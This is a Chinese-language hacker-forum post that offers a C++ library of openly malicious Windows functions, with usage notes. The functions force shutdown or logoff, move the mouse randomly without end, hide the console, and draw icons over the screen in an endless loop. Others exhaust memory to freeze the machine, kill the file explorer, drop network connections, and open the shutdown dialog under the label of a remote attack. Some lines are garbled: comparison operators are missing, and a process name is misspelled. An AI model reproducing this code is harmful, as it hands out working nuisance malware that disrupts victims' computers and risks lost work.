跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

C++计算机基础操作代码(恶意)(1)

精选回复

发布于

在这里,要想明白C++的恶意操作原理,要先会一个代码:system,命令提示符。

接下来给大家一些使用示范:

system("shutdown -s");//关机

shutdown(等待秒数,类型(1:关机,2:重启,3:注销))

Currur(移动鼠标的次数(1进入死循环))

Hide()   隐藏控制台

Icon(x坐标, y坐标, 类型(1:错误图标,2:感叹号图标,3:应用程序图标))

Die()  卡死

Shutdown_Go()  打开远程攻击控制台

explore()    不可打开资源管理器

release()    断开网络

Make_Text("文件名字(包括后缀)","内容")   创建文件

color(颜色)

样本是这样的:

#include <bits/stdc++.h>

#include <conio.h>

#include <windows.h>

using namespace std;

void Make_Text(string same, string name)

{

//HWND hWnd = GetConsoleWindow();

//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

ofstream outfile(same,ios::out);

if (!outfile)

{

cerr<<"open error"<<endl;

}

outfile<<name;

outfile.close();

}

//主机的好管理

void shutdown(int x, int y)

{

Sleep(x * 1000);//等待n秒

if(y == 1)

system("shutdown -p");//关机

if(y == 2)

system("shutdown -s -r 0");//重启

if(y == 3)

system("shutdown -l");//注销

}

//鼠标指针的好管理

void Currur(int q)

{

int x = GetSystemMetrics(SM_CXSCREEN);

int y = GetSystemMetrics(SM_CYSCREEN);

srand(time(0));

if (q == 1)//当q为1时,进入死循环。

while(1)

SetCursorPos(rand() % x, rand() % y);

else{//乱移鼠标的线程

while(q){

SetCursorPos(rand() % x, rand() % y);

q--;

}

}

}

//控制台的好管理

void Hide()

{

HWND s;

s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄

if (s) {

ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口

ShowWindow(s, SW_HIDE);//隐藏窗口

}

}

//图标的好管理

void Icon(int x, int y, int n)

{

FreeConsole();

HWND hwnd = GetDesktopWindow();

HDC hdc = GetWindowDC(hwnd);

POINT point;

while(1)

{

GetCursorPos(&point);//锁定鼠标位置

if(n == 1)//错误图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));

if(n == 2)//感叹号图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));

if(n == 3)//应用程序图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));

}

}

//卡死

void Die()

{

while(1)

{

new char;

malloc(INT_MAX);

}

}

//远程攻击

void Shutdown_Go()

{

system("shutdown /i");

}

void color (int a) {

if (a 0 || a 14 || a == 20) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a 1 || a 12) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 2) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN);

} else if (a == 3) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);

} else if (a 4 || a 11) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED);

} else if (a 5 || a 13) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);

} else if (a == 7) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 15) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);

} else if (a == 16) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);

} else if (a == 17) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);

} else if (a == 8) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 6) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_BLUE);

} else if (a == 9) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);

}

}

void explore()//不可打开资源管理器

{

system("taskkill /im explore.exe /f");

}

void release()//断开网络

{

system("ipconfig /release");

}

//以上是部分本人整理网络来源资料所得,非完全原创,也非搬运

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。